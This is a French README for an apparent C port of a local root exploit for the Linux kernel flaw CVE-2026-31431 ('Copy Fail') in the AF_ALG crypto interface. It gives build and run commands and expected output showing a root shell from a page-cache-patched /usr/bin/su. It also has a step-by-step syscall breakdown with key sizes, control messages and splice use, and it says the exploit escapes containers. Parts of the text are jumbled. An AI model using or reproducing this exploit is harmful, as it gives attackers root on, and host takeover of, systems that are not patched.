
Exploit local d'élévation de privilèges en C pour CVE-2026-31431, une vulnérabilité du noyau Linux dans l'interface crypto AF_ALG, permettant d'obtenir un accès root via la manipulation du cache de pages.
Copy Fail (CVE-2026-31431) est une vulnérabilité logique dans le noyau Linux permettant à un utilisateur local non privilégié d'élever ses privilèges jusqu'au niveau superutilisateur (root). La vulnérabilité appartient à la classe Local Privilege Escalation (LPE), ne nécessite pas de conditions d'exploitation complexes (telles qu'une course critique ou l'alignement d'adresses mémoire) et fonctionne "out of the box" sur la plupart des distributions Linux publiées après 2017.
Ce dépôt contient un portage en langage C de l'exploit Python original avec des commentaires détaillés, adapté à la compilation statique et à l'utilisation dans des environnements minimalistes.
La vulnérabilité provient d'une erreur logique dans le sous-système cryptographique du noyau Linux, liée au traitement de AF_ALG (interface de l'API cryptographique du noyau) et au mécanisme du cache de pages (page cache).
L'erreur a été introduite en 2017 lors de l'ajout d'une optimisation qui a supprimé la mise en mémoire tampon supplémentaire en exécutant les opérations de chiffrement par blocs AEAD (Authenticated Encryption with Associated Data) sur place (in-place). En raison d'un traitement incorrect des limites des tampons dans l'algorithme authencesn (partie du modèle cryptographique AEAD), une écriture de 4 octets au-delà du tampon alloué se produit, ce qui endommage les structures de gestion du cache de pages.
En conséquence, le noyau peut écrire des données en retour dans le cache de pages d'un fichier, même s'il a été ouvert en lecture seule (O_RDONLY).
AF_ALG et initialise l'algorithme AEAD authencesn(hmac(sha256),cbc(aes)).setsockopt(), des paramètres anormaux sont définis :
sendmsg() avec des messages de contrôle, une opération de déchiffrement est initiée.splice() déplace les données du fichier cible (ouvert en O_RDONLY) vers le socket cryptographique.authencesn, le cache de pages du fichier est corrompu et les données "déchiffrées" sont réécrites dans le cache.root.| Composant | Description |
|---|---|
| Noyau Linux | Toutes les versions depuis 2017 jusqu'à l'inclusion du correctif |
| Sous-système | crypto (module algif_aead) |
| Interface | AF_ALG — accès utilisateur à la crypto-API du noyau |
| Appel système | splice() combiné aux sockets AF_ALG |
Distributions vulnérables (avec des noyaux chargeant le module algif_aead) :
Importance particulière : dans les environnements conteneurisés (Docker, LXC, Kubernetes), les processus à l'intérieur du conteneur ont accès par défaut au sous-système AF_ALG si le module algif_aead est chargé dans le noyau hôte. Cela crée un risque de rupture de l'isolation du conteneur et d'obtention du contrôle de la machine hôte.
Vérification de la vulnérabilité :
# Vérifier si le module algif_aead est chargé
lsmod | grep algif
# Vérifier la présence de AF_ALG dans le noyau
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
L'exploit original a été écrit en Python (≈732 octets). Ce portage en C présente les caractéristiques suivantes :
libz.strace).recv() non bloquant — évite le blocage, reproduisant le comportement try/except de Python.Principales différences par rapport à la version Python, identifiées lors du portage :
| Paramètre | Python | C (ce portage) |
|---|---|---|
Drapeau sendmsg() | MSG_MORE | MSG_MORE |
Drapeau splice() | 0 | 0 |
| Décalage dans le pipe | NULL | NULL |
| Taille de la clé | 40 octets | 40 octets |
cmsg_len | 20/36/20 | 20/36/20 (codé en dur) |
| Création du pipe | pipe2(fds, O_CLOEXEC) | pipe2(fds, O_CLOEXEC) |
recv() | Bloquant avec try/except | Non bloquant (O_NONBLOCK) |
# Nécessite libz (zlib1g-dev ou zlib-devel)
gcc -o copyfail copyfail.c -lz -static -Wall -O2
./copyfail
En cas d'exploitation réussie, une version patchée de /usr/bin/su sera lancée, fournissant un accès root sans demande de mot de passe.
Sortie attendue :
================================================================
CVE-2026-31431 'Copy Fail' Exploit
================================================================
[+] /usr/bin/su ouvert
[+] 40 chunks
[*] 40/40 ok
# id
uid=0(root) gid=0(root) groups=0(root)
Voici une analyse détaillée de chaque étape de l'exploit avec les appels système correspondants :
socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(sock, {sa_family=AF_ALG, salg_type="aead",
salg_name="authencesn(hmac(sha256),cbc(aes))"}, 88);
Un socket est créé pour accéder à l'API cryptographique du noyau. L'algorithme authencesn (Authenticated Encryption with Sequence Numbers) est un algorithme AEAD composite utilisant AES-CBC pour le chiffrement et HMAC-SHA256 pour l'authentification.
setsockopt(sock, SOL_ALG, ALG_SET_KEY, key, 40);
setsockopt(sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
accept(sock, NULL, NULL); // conn_sock
sendmsg(conn_sock, {payload="AAAA"+data,
cmsg=[(SOL_ALG, 3, 4 zéros), // ALG_SET_OP = DECRYPT
(SOL_ALG, 2, 0x10+19 zéros), // ALG_SET_IV
(SOL_ALG, 4, 0x08+3 zéros)]}, // ALG_SET_AEAD_ASSOCLEN
MSG_MORE);
Une connexion est créée pour l'opération. Via sendmsg() avec des messages de contrôle (CMSG), les paramètres sont définis :
ALG_OP_DECRYPT = 0).